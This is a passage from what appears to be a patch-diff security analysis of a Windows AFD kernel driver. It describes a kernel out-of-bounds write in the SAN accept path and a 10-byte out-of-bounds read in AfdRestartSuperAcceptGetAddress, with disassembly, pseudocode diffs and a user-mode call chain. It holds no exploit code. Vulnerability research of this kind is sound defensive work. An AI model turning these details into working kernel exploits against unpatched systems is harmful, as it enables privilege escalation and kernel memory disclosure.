&lt;span class="mh"&gt;0x1c00779f0&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;OOB&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;WRITE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;unclamped&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=====&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PATCHED&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sub_1C00771B0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;—&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;feature&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;removed&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;clamp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;always&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;applied&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=====&lt;/span&gt;
&lt;span class="mh"&gt;0x1c00777bb&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r15+0x18&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;unconditional&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;guard&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;no&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;EvaluateCurrentState&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mh"&gt;0x1c0077827&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xfffe&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;clamp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;capacity&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;
&lt;span class="mh"&gt;0x1c007782c&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;si&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ax&lt;/span&gt;
&lt;span class="mh"&gt;0x1c007783e&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;clamped&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;copy&lt;/span&gt;
&lt;span class="mh"&gt;0x1c0077870&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xfff8&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;clamp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;capacity&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;
&lt;span class="mh"&gt;0x1c0077875&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;si&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ax&lt;/span&gt;
&lt;span class="mh"&gt;0x1c007788a&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;clamped&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;copy&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The twin &lt;code&gt;AfdSanAcceptCore (sub_1C007608C)&lt;/code&gt; carries the identical change: the unpatched build references &lt;code&gt;g_Feature_232206649_59779869&lt;/code&gt; at &lt;code&gt;0x1c00762d8&lt;/code&gt;, &lt;code&gt;0x1c0076303&lt;/code&gt;, and &lt;code&gt;0x1c007642d&lt;/code&gt; and retains an unclamped legacy copy (&lt;code&gt;memmove&lt;/code&gt; at &lt;code&gt;0x1c00765bb&lt;/code&gt;); the patched build has no reference to that feature and reaches the clamped copies (&lt;code&gt;memmove&lt;/code&gt; at &lt;code&gt;0x1c0076491&lt;/code&gt; after &lt;code&gt;mov eax, 0xfffe&lt;/code&gt;, and &lt;code&gt;0x1c00764da&lt;/code&gt; after &lt;code&gt;mov eax, 0xfff8&lt;/code&gt;) unconditionally.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Attacker-Reachable Entry Point:&lt;/strong&gt; &lt;code&gt;AfdSanConnectHandler&lt;/code&gt; and &lt;code&gt;AfdSanAcceptCore&lt;/code&gt; run in the AFD SAN (switched-fabric / Winsock Direct provider) accept path. The over-long copy is bounded only by the 16-bit length field in the source address data, so the reachable primitive is a kernel out-of-bounds write. Confirming the exact size and page alignment of the destination MDL-mapped buffer is required to characterize how far past the buffer the write reaches.&lt;/p&gt;
&lt;h4&gt;Finding B — Out-of-bounds read in SuperAccept address retrieval&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Medium (bounded kernel information disclosure of up to 10 bytes; no out-of-bounds write or memory corruption)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; Out-of-bounds read (CWE-125) / Kernel Information Disclosure&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;AfdRestartSuperAcceptGetAddress (sub_1C0065660)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Feature flag:&lt;/strong&gt; &lt;code&gt;g_Feature_499346745_59190809&lt;/code&gt; (evaluated via &lt;code&gt;EvaluateCurrentState&lt;/code&gt;, &lt;code&gt;sub_1c0015714&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Sections 3 through 7 below detail Finding B.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Root Cause:&lt;/strong&gt; 
The function, &lt;code&gt;AfdRestartSuperAcceptGetAddress (sub_1C0065660)&lt;/code&gt;, is an IRP completion routine that runs during AcceptEx (SuperAccept) processing to retrieve the transport address returned by the TDI transport provider. It shifts the address data backward in the mapped buffer by 10 bytes using &lt;code&gt;memmove&lt;/code&gt; (&lt;code&gt;sub_1c000c900&lt;/code&gt;). Specifically, it copies from &lt;code&gt;(buffer + offset + 0xa)&lt;/code&gt; to &lt;code&gt;(buffer + offset)&lt;/code&gt;. The length of this copy (&lt;code&gt;rbx_1&lt;/code&gt;) is derived from a 16-bit length field located at offset &lt;code&gt;+8&lt;/code&gt; within the returned data (&lt;code&gt;*(buffer + offset + 8) + 2&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;In the unpatched code's default path, this copy length is clamped to the remaining space in the MDL (Memory Descriptor List) buffer (&lt;code&gt;MdlAddress-&amp;gt;ByteCount - offset&lt;/code&gt;), rather than the actual size of the data returned by the transport. Because the source pointer begins 10 bytes ahead of the destination, this miscalculation causes the copy operation to read up to 10 bytes past the end of the validly mapped buffer. The buffer is a partial MDL built (via &lt;code&gt;IoBuildPartialMdl&lt;/code&gt; in &lt;code&gt;AfdContinueSuperAccept&lt;/code&gt;) over the user-supplied AcceptEx output buffer and then mapped into system address space, so the overread runs past that mapping into adjacent kernel (system address space) memory. The patched version fixes this by unconditionally clamping the copy length to &lt;code&gt;(total_returned_length - 0xa)&lt;/code&gt;, ensuring the read strictly remains within the bounds of the returned data.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Attacker-Reachable Entry Point &amp;amp; Call Chain:&lt;/strong&gt;
1. User-mode application issues an AcceptEx operation, which reaches AFD as &lt;code&gt;IRP_MJ_DEVICE_CONTROL&lt;/code&gt; (IOCTL_AFD_SUPER_ACCEPT).
2. &lt;code&gt;AfdDispatch (sub_1c0049d90)&lt;/code&gt; routes the IRP into the SuperAccept path.
3. &lt;code&gt;AfdWaitForListen (sub_1c00589b0)&lt;/code&gt; / &lt;code&gt;AfdRestartSuperAccept (sub_1c00654f0)&lt;/code&gt; drive the accept, issuing a TDI query for the connection's transport address.
4. &lt;code&gt;AfdContinueSuperAccept (sub_1c0058170)&lt;/code&gt; and the restart chain register &lt;code&gt;AfdRestartSuperAcceptGetAddress (sub_1c0065660)&lt;/code&gt; as the completion routine.
5. When the transport returns the address, the routine fires and performs the backward shift, triggering the out-of-bounds read that returns leaked kernel memory into the AcceptEx output buffer.&lt;/p&gt;
&lt;h3&gt;3. Pseudocode Diff&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// UNPATCHED AfdRestartSuperAcceptGetAddress (sub_1C0065660) — vulnerable completion routine&lt;/span&gt;
&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbp_2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Overlay_1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MappedSystemVa_1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// buffer + offset&lt;/span&gt;
&lt;span class="kt"&gt;int16_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbx_1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rbp_2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;// length field from returned data + 2&lt;/span&gt;

&lt;span class="c1"&gt;// VULNERABILITY: Feature flag check. Default path is vulnerable!&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;EvaluateCurrentState&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;g_Feature_499346745_59190809&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// sub_1c0015714&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// Clamps copy length to MDL ByteCount - offset (remaining buffer space)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;_MDL&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MdlAddress_1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;MdlAddress&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;MdlAddress_1&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;ByteCount&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Overlay_1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbx_1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;rbx_1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MdlAddress_1&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;ByteCount&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Overlay_1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// BUG: Source is rbp_2 + 0xa, so the final read extends up to 10 bytes PAST MDL end&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// Safe alternate path (flag ON)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;int16_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax_6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Overlay_1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rax_6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xa&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax_6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax_6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xa&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rax_6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbx_1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbx_1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax_6&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// memmove(dst, src, len) -- OOB READ occurs here&lt;/span&gt;
&lt;span class="n"&gt;sub_1c000c900&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rbp_2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbp_2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xa&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbx_1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;

&lt;span class="c1"&gt;// PATCHED AfdRestartSuperAcceptGetAddress (sub_1C0065830) — always uses safe clamp&lt;/span&gt;
&lt;span class="c1"&gt;// Feature flag and unsafe ByteCount path removed; always clamps to returned length - 0xa&lt;/span&gt;
&lt;span class="kt"&gt;int16_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax_5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Overlay_1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rax_5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xa&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax_5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax_5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xa&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rax_5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdi_1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdi_1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax_5&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;

&lt;span class="c1"&gt;// Safe copy - stays within bounds of returned data&lt;/span&gt;
&lt;span class="n"&gt;sub_1c000c900&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rsi_2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rsi_2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xa&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdi_1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;4. Assembly Analysis&lt;/h3&gt;
&lt;p&gt;The assembly block below shows the vulnerable sequence in the unpatched binary. The issue stems from using &lt;code&gt;MdlAddress-&amp;gt;ByteCount&lt;/code&gt; to bound the copy operation.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=====&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;VULNERABLE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;SECTION&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;—&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;default&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;feature&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;flag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;OFF&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=====&lt;/span&gt;
&lt;span class="nt"&gt;0x1c0065756&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;ebp&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rsi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x8&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;ebp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;offset&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;into&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;buffer&lt;/span&gt;
